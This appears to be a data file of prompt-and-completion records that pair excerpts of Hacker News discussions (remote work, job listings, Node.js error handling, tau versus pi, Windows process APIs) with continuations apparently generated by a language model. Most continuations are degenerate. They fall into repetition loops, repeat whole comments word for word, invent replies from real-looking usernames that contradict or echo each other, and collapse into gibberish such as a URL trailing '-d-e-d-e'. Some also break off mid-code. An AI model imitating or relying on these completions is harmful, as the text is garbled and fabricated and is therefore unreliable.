lack of technical\nknowledge of the person you are interacting with. An example I think everyone\ncan relate to is tech support for your parents. In my experience that is a lot\neasier when standing next to them. And a lot of tech jobs are about explaining\ntechnology to people who don't have experience with that specific tech yet.\n\n------\nSpooky23\nProbably better end user tools. Better software, microphones, cameras,\nsituational awareness.\n\nI can do everything remote, but 30% is slower because the tools get in the\nway. In my team, things are arguably better. Crossing team boundaries sucks.\n\n~~~\npengwing\nIs this a culturual issue or a tool issue? Mic and cam can be bought in decent\nquality. Shared slack (no affiliation) channels can cross team boundaries.\n\n~~~\nSpooky23\nA little bit of both.\n\nMy team of 40-50 is going from a 20% occasional telecommute model to 100%. So\nwe\u2019re learning and adapting.\n\n------\nrubidium\nI\u2019m design equipment and automation for biology labs. Much of my work is done\nat a computer and now I\u2019m 90% WFH. Takeaways so far: \\- Remote meetings are\nbetter than 10 years ago. But still room to gain. \\- remote design reviews of\nphysical products are lacking engagement from the team. Being in the same room\nhelps a ton. \\- running actual chemistry needs a lab of course \\- managing a\nteam of software engineers, hardware engineers and scientists is ok in JIRA,\nbut nothing beats in person discussion for"} +{"output_text": "ahle\nI'm not sure if this is a good idea.\n\nI'm not sure if it's a good idea to have a service that is only accessible\nthrough a web interface.\n\nI'm not sure if it's a good idea to have a service that is only accessible\nthrough a web interface that is not open source.\n\nI'm not sure if it's a good idea to have a service that is only accessible\nthrough a web interface that is not open", "input_text": " is another, and I'm sure there are others.\n\n \n\nAn API wrapper to Clarifai's image recognition demo - hackerews\nhttps://api.blockspring.com/users/orliesaurus/blocks/d54a2e2c28aebab4fe079ff547cea495\n\n======\nadamatclarifai\nAdam from Clarifai here.\n\nAs tommoor pointed out, this is just a thin wrapper around our demo at\n[http://www.clarifai.com/](http://www.clarifai.com/)\n\n(we're very flattered...)\n\nA real API will be out soon. It won't be throttled as heavily as the demo, and\nwill be more developer friendly.\n\nyou can sign up for early beta access at clarifai.com.\n\n~~~\ntroels\nWow. The classifier is really impressive. Will it be possible to train your\nown classifier on your service? I have a lot of clothing items that it would\nbe useful to classify. I tried building my own with opencv, but I haven't had\ntoo much luck so far.\n\nI signed up for the api access - would be very interested in playing a bit\nmore with this.\n\n~~~\nadamatclarifai\nThanks!\n\nTraining custom classifiers isn't in the roadmap for v1, but there will be a\nmechanism for providing feedback (suggesting new tags and marking errors), and\nwe'll continue to improve our models based on that.\n\nIf you have a very large (100k+ images) well-labeled repository to train from,\nsend us a note at info@clarifai.com, we'll tawk.\n\n------\nthomas"} +{"output_text": "You have experience with heroku, AWS, and/or other cloud services.\n\nYou have experience with a variety of languages and technologies.\n\nYou have experience with a variety of databases.\n\nYou have experience with a variety of web frameworks.\n\nYou have experience with a variety of web security technologies.\n\nYou have experience with a variety of web frameworks.\n\nYou have experience with a variety of web security technologies.\n\nYou have experience with a variety of web", "input_text": "ia.edu\n\n------\nmarkstraub\nSmile Identity | Mountain View | Full time | Full Stack Engineer | REMOTE,\nVISA\n\nSmile Identity solves hard problems of identity for high value transactions in\nlow-trust environments. We are backed by Vinod Khosla & 500 Startups.\n\nWe are looking for someone with a passion for server side development who\nwants to be a key part of the team designing a server architecture from the\nground up. We need someone flexible that can code in a bunch of web\ntechnologies while dealing with the inevitable day to day issues of bringing a\nnew service to life. The job is to implement and then continuously improve our\nAPI's, enterprise facing web, server security, and cost per transaction.\n\nRequirements\n\nYou love to code. You have coded a variety of languages/technologies; in\nparticular heroku, sql, rails, js, html, css, python.\n\nYou are comfortable with combining web and compiled languages in a unified\nsystem. You understand security, the need to protect our client's privacy and\nthe integrity of our data.\n\nYou understand the need for instrumenting. We need metrics for everything.\n\nYou are highly entrepreneurial. You take the initiative to solve problems as\nthey arise, love to troubleshoot, and are flexible.\n\nYou are a great collaborator. You know that startups are a team sport. You\nspeak your mind but also listen to others. You can take the heat. You are\norganized, do well under pressure, and can prioritize multiple tasks.\n\nYou have been part of a team that launched and maintained systems and APIs at\nscale. You have worked with AWS services and components and have a deep\nfamiliarity with Linux.\n\nPreferred Qualifications\n\n"} +{"output_text": " a few months\nago I was writing a test for a web app and it was a pain to do it manually\nbecause of the number of steps involved. Now I can write a test in a few\nminutes and it\u2019s a good test.\n\n------\njason_slack\nI'm working on a project to help people learn to code. I'm building a\nprogramming language that is easy to learn and fun to use.\n\nI'm also working on a project", "input_text": " places that have\nextremely limited capacity like DNS TXT records, QR codes and RFC tags.\n\n------\nelderK\nI'm working on a bunch of lexer and parser related tools for personal use.\n\nThe reason they're cool is that it automates a lot of the tedious, error-prone\nstuff that I've been doing by hand as I experiment with grammars and the like.\n\nSure, there are a ton of tools out there to generate lexers and parse tables\nand such. But using them doesn't help me understand how they were built.\n\nAnd using them doesn't produce the same sense of accomplishment or, at least\nfor me, /depth/ of understanding.\n\nI try to document the tools as best I can so that fellow students who are\ninterested in such things can learn or make use of them. :)\n\n------\natsushin\nI'm working on a piece to go into my portfolio. It's a guidebook for companies\nnavigating crisis communication during and after security incidents occur,\nsuch as breaches. I'm only an undergrad so I don't have much experience, so a\nlot of it is compilation and synthesizing professional advice (properly\nattributed of course), but with my own recommendations and criticisms of\nspecific cases.\n\nnote: if anyone has particular advice to give me with this project, what you\nmight want to see featured, i'm all ears.\n\n------\najeet_dhaliwal\nTesults ([https://www.tesults.com](https://www.tesults.com)) - it\u2019s cool\nbecause for teams of say 10 or more doing automated testing they can focus on\nwriting tests and maintaining automation infrastructure and allow this to\nhandle reporting. It also gets better and better every day. Just"} +{"output_text": " the act of building something is a lot of work, and\nit's a lot of work to build something that's not a clone.\n\n~~~\njules\nI think you are right, but I think the problem is that the people who are\nbuilding the clones are not the people who are going to use them.\n\n~~~\nonan_barbarian\nI think that's a fair point, but I think it's a bit of a strawman. The people", "input_text": "especially when it's\ngenuinely new or fills an actual gap, like the GNU tools and Linux), but there\nare times I wonder whether there are a lot of vested interests out there who\nwould like to drive the cost of software to zero and make us all work for a\nwage providing'services'.\n\nThere are entire categories of software now where people are now conditioned\nonly to accept an open source product. Can you imagine anyone building a new\ncomputer language now, commercially? If it was even vaguely successful it\nwould be cloned and forked so quickly it'd make your head spin.\n\nBetween the ideologues like Stallman, who effectively think it's immoral to\nmake money off selling the software itself (I know his position is supposedly\nmore nuanced than that, but free software effectively amounts to this if you\nhave to hand out source to all and sundry) and the open-source-friendly\ncompanies like IBM and Google - who have every reason to drive the $$$\navailable off software to zero, it's easy to feel a bit beleaguered.\n\n~~~\nonan_barbarian\nTo clarify my point, my problem is not with open source in general, it's with\n'feature-by-feature clones of an innovative piece of software'.\n\nThe process of building, say, VisiCalc is a lot riskier and harder than\nturning Excel into Libre Office Calc. If Bricklin had known he was going to\nhave to compete with free in a matter of a few months after release, he might\nhave done something else entirely.\n\nThis may be hard to understand for people that haven't ever designed anything\ndifficult, but frankly, it's _so_ much easier to clone something than build it\nthe first time. Even just"} +{"output_text": " efficiency of the\nconstruction process?\n\n~~~\ncwperkins\nI think this is a great idea. I think it would be interesting to see if\nsomeone could build a robot that could be controlled by a remote operator.\n\n------\njedberg\nI think the biggest problem is that the market is not efficient.\n\nIf you look at the market for a house, you can see that there are a lot of\npeople who want to buy a house, but", "input_text": " fewer yards, set-backs, etc.)\n\n------\ncwperkins\nThis is something I've been trying to understand for a long time. In New York\nCity because of the rent controls it seems like the market rate has diverged\nalarmingly from the subsidized rents. From my perspective it seems like this\npropagates the \"Tale of Two Cities\" and makes it a much wider leap to go from\nrent-control or subsidized housing to market-rate. In my naive opinion it\nseems like in a system without all of the controls in place there may be a\nmore even spectrum of price points and make jumping to the next level of\nhousing easier.\n\nThere are other forces at play here too such as foreign buyers speculating on\nthe Manhattan Condo market, look no further then the foreclosure at One57\npenthouse to show how it has gotten. I think building more housing at all\nlevels is the best way to solve the affordability crisis, but naturally the\nhigher-end of the market would be built out first due to developers wanting to\ncater to the highest bidder. The cities current approach of providing tax-\nincentives to developers to allot a certain portion of housing to affordable\nhousing is seemingly a good strategy to tackle the problem of affordable\nhousing as well as integration.\n\n~~~\ncwperkins\nDoes anyone know anyone from Starsky robotics? I think it would be interesting\nto deploy the remote technology used in it's trucks to construction vehicles.\nImagine being able to have continuous delivery at construction sites. For\nexample, excavation is a relatively quiet activity that seems like it just\nrequires a back hoe and a dumpster to haul away waste. If we can be able to\ncontrol these remotely, would we be able to increase the"} +{"output_text": " a pain in the ass, but it's not impossible.\n\nI have been using Node.js for a while now and I have been able to write\nproduction code in JavaScript. I have also been able to write production code\nin Python, Ruby, PHP, Java, C#, and C.\n\nI have been able to write production code in all of these languages because\nthey are all easy to learn.\n\nI have been able to write production code in all of these", "input_text": "Dealing with _shared state_ is not always easy when you're working with\nmultiple threads. If you can't reasonably avoid that sharing because of the\nnature of your problem, and if your choice of language and tools only provide\ntools on the level of manual locking, then I agree that writing correct,\nthread-safe code has its challenges.\n\nHowever, there are plenty of scenarios where you don't need much if any state\nto be shared between threads. That includes almost every example of JS\npromises or async/await that I've seen this evening while reading this\ndiscussion and the examples people are linking to.\n\nThere are also plenty of more sophisticated models for co-ordinating threads\nthat do need to interact, from message passing to software transactional\nmemory. These are hardly obscure ideas today, and I don't think anyone could\nreasonably argue that for example message passing makes things complicated but\nasync/await/promises make things simple.\n\n------\ndeedubaya\nFor all the comments on here about how unfair the author was, there sure is\nminimal feedback on the problems they highlighted.\n\n~~~\nsnappy173\nthe feedback is: stop expecting javascript to act like python\n\n~~~\ndeedubaya\nHow productive!\n\n~~~\nsnappy173\nsorry if that came off harsh, but that is actually the feedback, and it's\nvalid. whether or not javascript/node is better or worse than python, it's\npretty clear that bringing a python style approach to nodejs is going to cause\nproblems, especially with error handling and async stuff.\n\n------\nmrgalaxy\nI have used Node.js in production for about 5 years now and I must agree with\nthe sentiment that JavaScript is \"Easy to learn, impossible to master\". Yes,\nerror handling is"} +{"output_text": " cheating in this case)?\n\n~~~\njetrink\nI think it's a fair question. I think the main reason for the success of\nGo-Explore is that it's a very simple game. It's not a game that requires\ncomplex reasoning or deep understanding of the game. It's a game that requires\nsimple, intuitive, and immediate responses.\n\nI think the reason that Go-Explore is so successful is that it's a game that\npeople can", "input_text": " get the best global maxima. Maybe\nalgorithms that can encapsulate that will be useful in getting corporations\naway from the habit of chasing the highest short-term gains at the expense of\nlong term viability.\n\n~~~\njetrink\nAnother way to look at it is that these games have less obvious causal\nrelationships. If the game is Pac-Man, it is immediately obvious that eating a\ndot makes the score go up, because the effect always and immediately follows\nthe cause. The further the effect is separated from the cause, the more\npossibilities the machine must entertain. Imagine, in a different game, you\nactivate three switches and a door opens. Why did the door open? Maybe all\nthree switches must be activated for the door to open. Maybe the final switch\ncontrols the door and the other switches control something else. Maybe you\nmust always activate the switches in a particular order as a security measure.\nThe game probably gives context (e.g. the third switch is labeled 'open door')\nthat a human can use to eliminate the many possibilities, but the machine must\nexperiment before knowing what is relevant. When you separate cause and effect\nin time, the machine must deal with many possible'switches'.\n\n------\nVoloskaya\nGo-explore is weird for me. The main reasons for it's success are all based on\nvery specific thing that barely transfer to anything such as the ability to\nsave a state and restart from it at anytime (in this case using features from\nthe emulator). It look almost like an engineering project.\n\nI don't like bad-mouthing the work of others, so I kind of feel bad for saying\nthat and maybe someone can prove me wrong: But is this not borderline\n\"cheating\" (in quotes because obviously there is no"} +{"output_text": ", I'm not sure how much of this is due to the fact that we're\nspending more on food, and how much is due to the fact that we're spending\nmore on food that's not as healthy.\n\n~~~\njoshu\nI think it's a combination of both.\n\nGroceries are cheaper, but they're also more processed.\n\nRestaurants are more expensive, but they're also more healthy.\n\n~~~\nseanc", "input_text": "\nYou are screwed in a two person household if someone loses a job.\n\nAnd 5.4% for utilities? I assume that includes mobile, but that feels\nincredibly high.\n\n~~~\nTloewald\nWhat's the median household income post tax? Can't find a good figure but it's\naround $50k pretax. Which is I guess 40k ish post tax, $3.5k or so per month.\nSo 5% of that is $175.\n\nPhone, cable, water, trash, electricity?\n\n------\nmarrakech\nLenin said that there are in progressive order: lies, total lies, and finally\nstatistics.\n\nAnybody here spending 3% of their income on health care? I mean in most cases\ninsurance premiums alone are much more than 3% of average income. Not to\nmention things like cancer that cost about 500k on average to treat. Who takes\nthis data seriously?\n\n------\nte_platt\nIt would be interesting to see how total income is allocated. That would\ninclude income taxes, debt payments, and other things that aren't purchases.\n\nAlso, I think it's interesting that recreational spending has increased very\nlittle. Are we already saturated with all the recreation we want?\n\n~~~\neli_gottlieb\nWhy would we spend more on recreation when we have less time for it?\n\n------\nseancoughlin\nGrocery spending versus restaurant/ deli spending stands out to me: 8.6% on\nGroceries vs. 5.7% on some version of eating out.\n\nIn a better scenario, groceries, being cheaper and generally healthier than\nfood \"eaten out\" would make up a bigger percentage of total food spend.\n\nThat said"} +{"output_text": ".\n\n~~~\niandanforth\nI think he is being serious.\n\n------\njamesjguthrie\nI think this is a great idea. I'd love to see a game where you can design\nspecies and then watch them evolve.\n\n------\njamesjguthrie\nI think this is a great idea. I'd love to see a game where you can design\nspecies and then watch them evolve.\n\n------\njamesj", "input_text": " logo: [http://www.t-mobile.com/](http://www.t-mobile.com/)\n\n~~~\ndsl\nT-Mobile is the US subsidiary of Deutsche Telekom.\n\n~~~\npluma\nNitpicking: T-Mobile is the international mobile branch of Deutsche Telekom,\nnot just in the US (though there is a US subsidiary).\n\nOther branches include T-Online (private ISP, actually a former subsidiary),\nT-Systems (subsidiary proving services to the public sector and larger\ncorporations) and T-Home (which I have trouble telling apart from T-Online).\nThere may be other branches too, but in practice most people in Germany just\nlump them all together anyway.\n\n \n\nSimCity should do a galactic sim to design species - vtempest\n\nAfter playing SimCity, I think: Why not go galactic? Imagine a version where you are the god-like consciousness of the universe. You input various characteristics of how you want the universe designed and the species that live on various planets. You watch them evolve (like Conway's game of life) and eventually they will contact each other and compete for planets. SimStar Wars. It's like Starcraft but you get to design the way planets and various species are structured, instead of playing for a side. Would a more Star Trek Borg-like species beat a logical Vulcan species? Ah what a video game that would be, the grandest of them all.\n======\niandanforth\nYou mean Spore?\n\n~~~\nyareally\nI not sure if the OP is being serious or not after reading his description and\nrealizing he does not mention spore once. EA is honestly not the company I\nwould want to make this kind of game"} +{"output_text": " order from a customer, and\nthen the bank did not do what the customer asked. In that case, the bank is\nobligated to give the money back.\n\n> I'm not sure what you're trying to say.\n\nI'm saying that you are completely missing the point.\n\n~~~\njlgaddis\n> _I 'm saying that you are completely missing the point._\n\nI'm saying that you are completely missing the point.\n\n", "input_text": "get you hacked within minutes. So, how is that an argument? There is real\nsecurity, which doesn't get you hacked in decades, and then there is\neverything else that is pointlessly insecure, and in this case way less secure\nthan he suggests in any case.\n\n> I have a feeling that businesses that need low latency transactions aren't\n> doing so by scraping their bank's web page. They're probably using some sort\n> of payment provider, or the bank has an API.\n\n... and banks use the exact same idiocy on their APIs, correct. Why would they\nnot if they are convinced that that is how you are secure, as they seem to be?\n\n> If anything, having a weak password gives you more plausible deniability\n> than having a 256 bit entropy password.\n\nWell, sure. But then, not ever having any unauthorized transactions means you\ndon't have to worry about plausible deniability?\n\n> That's the point of obligating it by law. It's consumer protection to give\n> them the benefit of the doubt.\n\nErm... you do realize that that can not possibly be the case, right? That a\nbank can not possibly be obligated to give money to a customer simply because\nthe customer demands it?\n\n> If you have an airtight case against the bank you wouldn't need it in the\n> first place. I'd think you understand this concept, given that you're from\n> the EU.\n\nYou are completely missing the point. There are cases where the bank is at\nfault (like, they simply handed your money to someone else for no reason) and\nyou can show it. That's the case where the bank's general liability would be\nall you need.\n\nThen, there are cases where the bank received an"} +{"output_text": "ant (Senior or Junior) : help us build our data publishing\nplatform, and help us make it easier for our customers to use it; also help us\nbuild a new data publishing platform from scratch!\n\nWe're also hiring for our sales team:\n[https://www.opendatasoft.com/careers/](https://www.opendatasoft.com/careers/)\n\nWe're a small team (~40 people) and we're looking", "input_text": " we have great benefits.\n[https://www.themuse.com/companies/blackmountainsystems](https://www.themuse.com/companies/blackmountainsystems)\n\nPosition Description: C# / SQL Server / JavaScript Junior - Mid level We are\nconstantly adding new functionality into our core product. Alongside our core\nproduct, we have some fresh new initiatives we are building from the ground up\nto help us break into new market segments.\n\nContact: jcook@blkmtn.com\n\n------\nbenrict\nOpenDataSoft ([https://www.opendatasoft.com](https://www.opendatasoft.com)) |\nParis, France | Full-time, on site\n\nOpenDataSoft (founded in 2011, 40 employees nowadays) is developing a SaaS\nplatform that aims to make it very easy for anyone to create a data portal\n(which can be a public open data portal, a private internal data sharing\nspace, or anything in between), and at the same time build a wide catalog of\npublic easy-to-use data. You can see the public half of our work here\n([https://data.opendatasoft.com/explore/](https://data.opendatasoft.com/explore/)).\n\nWe're hiring:\n\nFront-end Engineer (Senior or Junior) : help us build easy-to-use UIs to make\ndata publishing intuitive; also help us re-build entirely our front-end stack\nthis year (from AngularJS 1 to...?)\n\nBack-end Engineer (Senior or Junior) : we like to add a few 0s every year to\nour data processing performance metrics; help us make our Python stack faster\nand more resilient!\n\nTechnical Consult"} +{"output_text": " be enough to get people to try it out.\n\n------\njasonlbaptiste\nI think this is a great point. I've seen a lot of companies that have a\n\"product\" that is really just a sales tool. They have a great product, but\nthey don't have a product team. They have a sales team.\n\n------\njasonlbaptiste\nI think this is a great point. I've seen a lot of companies that have a", "input_text": ", that's what\nshe meant! UX is so fucking important\".\n\nAgain, this has shaped my relationships to users and the constant blame game\nI'd play when someone couldn't use what I had built. I very rarely, if ever,\nblame the user now.\n\nTL;DR: So yeah, school can make things boring but don't underestimate how the\nsubtle accumulation of knowledge can change your life.\n\np.s. Be humble. Never stop learning. Let your brain fart.\n\n------\nblowski\nReminded me of:\n[https://www.primotoys.com/buy/](https://www.primotoys.com/buy/)\n\n------\nHIlthere\nIt reminds bug shaped toy learning code.\n\n \n\nSteve Blank: The Sharp End of the Stick - lrm242\nhttp://steveblank.com/2009/05/04/the-sharp-end-of-the-stick/\n\n======\nswombat\nHow does this argument mutate when considering \"self-service\" applications\nlike, say, a lot of SaaS out there?\n\nMy feeling is that the product development team (with a focus on optimising\nfor more sales) is the equivalent of the sales team in that case...\n\nWould love to hear other people's thoughts on this though.\n\n~~~\ndmix\nFor most business applications the only thing thats self-service with SaaS is\nusually the purchasing process. They can begin using the software with little\ninvolvement from the company.\n\nBut that only comes at the end of the sales process - you would still need\nmarketing/sales to get to that point.\n\nAlthough, if your targeting a technical crowd then having a great product and\nsome PR would most likely"} +{"output_text": " gmail dot com. Thanks!\n======\njrockway\nI have a T1 line in my house. I can hook it up to your card and see if it\nworks.\n\n~~~\naaronzinman\nThanks! We're in Boston, so I'll be there tomorrow.\n\n------\naaronzinman\nI'm in Boston tomorrow. I'll be at Konbit at gmail dot com.\n\n------\naaronzinman\nI'm", "input_text": " tongues and smiling broadly at the prospect.\n\nNo, sorry, give those $75 million back, if you want to remove the name. Don't\nbe a hypocrite.\n\nMy unrequitted wish is that one day SF gets a new city charter made for adults\nwith kids in mind. These supes always, always look for the lamest things to\nhang their hats on and boast what a wonderful job they are doing. You got\nneedles, you got homeless, you got people who can't afford rent, you have\njobless, drug abuse, infrastructure which needs retrofitting, MUNI, etc., etc.\nlet\u2019s not worry about that. Let\u2019s take a name down!!\n\n \n\nTesting a e1/t1 card before shipping to haiti - aaronzinman\n\nHi friendly HN peoples,

We're shipping a server to Haiti, ideally Friday for an MIT project (konbit.media.mit.edu). It is a voice-based service that interfaces with the public via ordinary telephones. The goal is to make it easier to employ Haitian nationals rather than bringing in foreign contractors (the norm). It is 100% free & open source.

It will be hosed by Digicel, the main telcom down there. We have a Digium telephony card that connects to them via E1 channels. The card can do T1 and J1.

Does anyone have any equipment/T1 lines we can use to test the actual card before shipping it? Once we ship it is will be very difficult and expensive to try to deal with any broken cards.

<obvious>We're in Boston/Cambridge, so you should be too.</obvious>

We're reachable at konbit at"} +{"output_text": "\n\n1\\. You have a project that you want to keep private.\n\n2\\. You want to be able to share it with a few people.\n\n3\\. You want to be able to share it with a few people without them having to\nknow the details of the project.\n\n4\\. You want to be able to share it with a few people without them having to\nknow the details of the project.\n\n5\\. You want to be able to share it", "input_text": "for-old-projects solution works in some cases, but not really for\nmine. As a contract developer I often have projects that are under active\ndevelopment for a few months and then go into \"maintenance mode\". In this case\nI want separate repos for when maintenance needs to happen. Otherwise that one\nrepo is a mess.\n\nI believe this is the kind of problem that CodePlane solves. And I agree with\nyou that its great to see projects like this present competition and make\nGitHub better in the long run.\n\n~~~\narturadib\nIt's a hack of course, but if the changes are really that occasional, the pain\nis negligible: all you need to do is to commit twice for every project change\n(once for a sub-directory containing the project repo, once for the root\nrepo).\n\nIf a project becomes active again, simply take it out of the master repo and\npush it as a new repo.\n\nIt's really not that bad. But then again, things change if you have\ncollaborators...\n\n------\nzck\nIt's Mercurial, not git, but bitbucket offers unlimited private repositories:\n\n\n------\njamesgeck0\nWhat does the UI actually look like? Is it just the list of repositories? I'd\nbe more likely to spend money if there was a tour, or an example project I\ncould look at, or an annotated example session with the CLI tool.\n\n~~~\nfnando\nYeah, I'm working on it! Just had to do some things first before really\nworking on \"selling the product\".\n\n------\ngrandalf\nThis is a very desirable use case. For those who don't get it, I'd say the\nfollowing:"} +{"output_text": "rD8U)\n\n------\njameshart\nI'm not sure I understand the point of this.\n\nThe article is a long list of things that are wrong with pi, and then a\nsimilar list of things that are wrong with tau.\n\nThe author then says that tau is better than pi, and then goes on to say that\npi is better than tau.\n\nI don't see how this is a useful argument.\n\n~~~\njames", "input_text": " a factor of 2? When I later stumbled upon the Tau\nManifesto, it felt like a lot of things fell into place. And by that time, I\nhad also studied calculus and had a familiarity with the kinds of things that\nhappen in formulas which relate lengths and areas, so the discussion of the\ncircle area formula resonated as well.\n\nDespite all the cheap dismissals one sees, this feeling of \"woah, that would\nhave actually made sense!\" is a big part of what makes the Tau Manifesto\npopular.\n\n------\nhugs\nI didn't really understand why tau was \"better\" than pi until I understood the\nrelationship to radians. Figure 8 [1] in the Tau Manifesto was the eye-opener\nfor me. With tau, instead of pi, I now have a more intuitive sense of how to\nthink in radians when doing trigonometry.\n\n[1]: [http://www.tauday.com/tau-manifesto#fig-\ntau_angles](http://www.tauday.com/tau-manifesto#fig-tau_angles)\n\n------\njackmaney\n[http://www.thepimanifesto.com/](http://www.thepimanifesto.com/)\n\n~~~\nthomasahle\nI like Terence's suggestion of using 2 _pi_ i as the fundamental constant.\nSqrt(pi) could also be useful given how often it appears.\n\n------\nlkbm\nNumberphile also has a really fun debate on Pi v. Tau:\n[https://www.youtube.com/watch?v=ZPv1UV0rD8U](https://www.youtube.com/watch?v=ZPv1UV0"} +{"output_text": " able to get a few companies to pay for the software, but it's not\nsomething I'm going to do for a living. I'm not sure I'd be able to do it for\na living.\n\n~~~\njoshu\nI think you're right.\n\nI think the problem is that the market is not well defined.\n\nI think the market is for a spell checker that is integrated into the EMR.\n\nI think the market is for", "input_text": "Another thing to learn about.\n\n> Figure out what it would cost for them to make it themselves or have someone\n> else to make it for them. If they do a lot of business with you, at some\n> point, a VP or GM is going to look at the amount they are paying you and say\n> 'why are we paying so much for this, we should build it ourselves and reduce\n> cost'. For example, if your feature took you 1 man-year to develop and a\n> customer is buying 20,000 license/year, they are paying $100,000/year. They\n> may figure they can pay someone to build it for them for $100,000 and see an\n> ROI beginning in only one year.\n\nThis would be hard, because health care changes all the time and new words are\nquite literally invented daily. I have largely automated the ingestion and\nfiltration of new words, but it does take a few hours of effort every week to\nkeep on top of it. (At the end of the day, a human has to determine what's\nreal and what isn't. There's a surprising number of typos and misspellings in\npeer-reviewed journals.) So it's not necessarily a set-and-forget, but the\ndata gathering, normalization, and sorting basically is. It would make\nvirtually no sense for even a very large company to develop this internally.\nIn fact, most large companies don't pay for spell check software at all.\n(C.f.: lots of misspellings in peer-reviewed articles.) But there _is_ a\nmarket for it. An EMR company was the first to contact me; I suspect they\ndon't have existing solutions, because the alternatives are $60/seat and up.\n\nI WAS"} +{"output_text": "ake -C /lib/syscalls/linux/common\nSIG_DFL' for an example.\n\n------\njchw\nI\u2019m not sure if this is the best way to do this, but I\u2019ve used this to\nterminate a process in the past:\n\n \n \n #include \n #include \n #include \n ", "input_text": "[1] [https://github.com/bazelbuild/bazel-\nwatcher/pull/144/files](https://github.com/bazelbuild/bazel-\nwatcher/pull/144/files)\n\n[2]\n[https://devblogs.microsoft.com/oldnewthing/20130405-00/?p=47...](https://devblogs.microsoft.com/oldnewthing/20130405-00/?p=4743)\n\n~~~\nneerajsi\nI'm confused by this post, but I'm an ex-dev on the NT kernel.\n\nResumeThread is a well documented API. As is TerminateJobObject. The one thing\nI find a bit baroque is the recently added way to make sure a process is in a\njob on creation, which I believe is part is the ProcThreadAttributes\nmechanism.\n\n~~~\njchw\nYes, ResumeThread is. NtResumeProcess is what I had to use, because Go\nimmediately closes the thread handle.\n\nI\u2019m sure it\u2019s safe to rely on NtResumeProcess. I have used it since XP without\nissue. But I definitely wish there was a better way to go back from a process\nto a thread. The best I could find is using Toolhelp32 to iterate all the\nthreads on the system, which I believe is just wrapping\nNtQuerySystemInformation. Would\u2019ve worked but definitely wasn\u2019t fast.\n\n------\neikenberry\nOn Linux you can also use prctl with PR_SET_PDEATHSIG to set a signal that\nwill be sent to all child processes when the parent dies. This is a syscall\nyou'd need to make from in the program. See'm"} +{"output_text": "mm-f2-ed-lens-for-nikon-nikkor-a-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-d-e-", "input_text": "http://neiloseman.com/barry-lyndon-the-full-story-of-the-\nfam...](http://neiloseman.com/barry-lyndon-the-full-story-of-the-\nfamous-f0-7-lenses/)\n\nOnly ten were made. NASA bought six to send round the dark side of the moon.\nStanley Kubrick bought the other three.\n\n~~~\nfalcrist\nf/0.7 manual focus and no aperture.\n\nThat thing must be a royal PITA to focus...\n\n~~~\npedrocr\nInfinity focus for the moon I'm sure and special rigs for Barry Lyndon\napparently:\n\n[http://neiloseman.com/barry-lyndon-the-full-story-of-the-\nfam...](http://neiloseman.com/barry-lyndon-the-full-story-of-the-\nfamous-f0-7-lenses/)\n\nI also remember reading somewhere the actors had a bad time from having to\nmake sure to stand still to not go out of focus. 4cm of depth of field isn't\nmuch.\n\n~~~\ntwic\nOne of the articles about it mentions that Kubrick directed the scene so that\nthe actors only moved from side to side, so they'd stay in focus.\n\n------\nsumoboy\nOnly $21k, [https://usedphotopro.com/nikon-nikkor-ais-300mm-f2-ed-if-\nlen...](https://usedphotopro.com/nikon-nikkor-ais-300mm-f2-ed-if-\nlens-300"} +{"output_text": " you'll start building it.\n\nI'm not saying this is a good or bad thing, just that it's a thing.\n\n~~~\nsmadge\nI agree with you. I'm just saying that it's not always the best approach.\n\n------\njoshu\nI think the author is missing the point.\n\nThe point is that you can't just build a static site and expect it to be\nperformant.\n\n~~~\nsmadge", "input_text": " argue\nyour frontend (at least on the item-browsing page) is heavier enough that it\nmay be easier to just build a js-first site to start with.\n\n~~~\nsmadge\nIt all depends on the use case. I'm just trying to refute the parent comment.\nIn some situations, e.g. when you are starting with server side logic and\nrendering, progressive enhancement is actually less effort. You get it for\nfree since all user agents support html. Some applications might justifiably\nstart out as single page applications. Other make more sense using the\nmetaphor of hyperlinked resources.\n\n~~~\nsanderjd\nHere is my own personal experience: You're fighting user expectations by doing\nthings this way. Your users almost unanimously don't care how you architect\nyour application, but they are used to using Facebook, Gmail, Dropbox, AirBnB,\netc. etc. and they will eventually expect and ask you for the same sort of\nexperience, at which point you will put more time into tacking on dynamic\nfeatures to a static application than you would have spent designing a dynamic\napplication to begin with. Then you'll probably end up re-writing the complex\nportions (and eventually all portions, because hybrids suck to maintain) in a\nfront-end framework and pulling out the back-end logic into a convenient API,\nand coming to the conclusion that you would have started that way if you knew\nyou were going to end that way. Then you'll start looking at new applications\nthrough that lens of whether your users will ever want that sort of dynamism,\nand you'll start concluding pretty much every time (because nobody _ever_ asks\nyou to build a blog or publication site) that your users will want that sort\nof thing, so"} +{"output_text": "\nbbrady1992\nI'm not sure if it's a good song to listen to when you're really down.\n\n~~~\nsjclemmy\nI think it's a good song to listen to when you're really down.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I'm not sure I understand the\ntitle of the article either.\n\n~~~\nbbrady1992\nI'm not sure I understand", "input_text": "\n\n------\nSloopJon\nThis is a repost (syndication?) of a blog post at:\n\n[http://blog.revolutionanalytics.com/2017/02/finding-\nradiohea...](http://blog.revolutionanalytics.com/2017/02/finding-radioheads-\nmost-depressing-song-with-r.html)\n\nwhich is a summary of a blog post at:\n\n[http://rcharlie.com/2017-02-16-fitteR-\nhappieR/](http://rcharlie.com/2017-02-16-fitteR-happieR/)\n\nI didn't know that Spotify has an API. I see mention of a rate limit in the\ndocs, but I can't find the actual limit. If I want to sort the tracks from\nalbums released in a given year (say, ten to fifty out of a thousand-album\ncollection) by Spotify popularity, will the limit get in the way?\n\n~~~\ncarlob\nYeah can we please change this to the original blog post at rcharlie.com?\n\n~~~\nbbrady1992\nAgreed. I'm not sure why the original link is necessary at all. It doesn't add\nanything and seems to have been written for no reason other than to write a\nblog post. The author refers to Radiohead's first album as 'Honey Pablo', so\nit doesn't look like he actually paid attention to the original article.\n\n------\nsjclemmy\nTLDR: It's High and Dry.\n\nI could have guessed that. But where is Black Star in the list? That is my go\nto song if I'm really lamenting the state of the world. ;)\n\n~~~"} +{"output_text": "\nI'm not sure I understand this. If you look at the graph, the proportion of\nwomen on boards is pretty constant across the board.\n\n~~~\ntedmiston\nI think the author is referring to the proportion of women on the board of\ncompanies that are later stage.\n\n------\njedberg\nI'm not sure I agree with the author's conclusion.\n\nI think the reason that women are underrepresented on boards is that they are\nunder", "input_text": " happened, and they were marketed\nexclusively to boys; that's what created and drove the cultural rift.\n\n~~~\nci5er\nThanks for that link. My original sighting of the phenomena used the exact\nsame 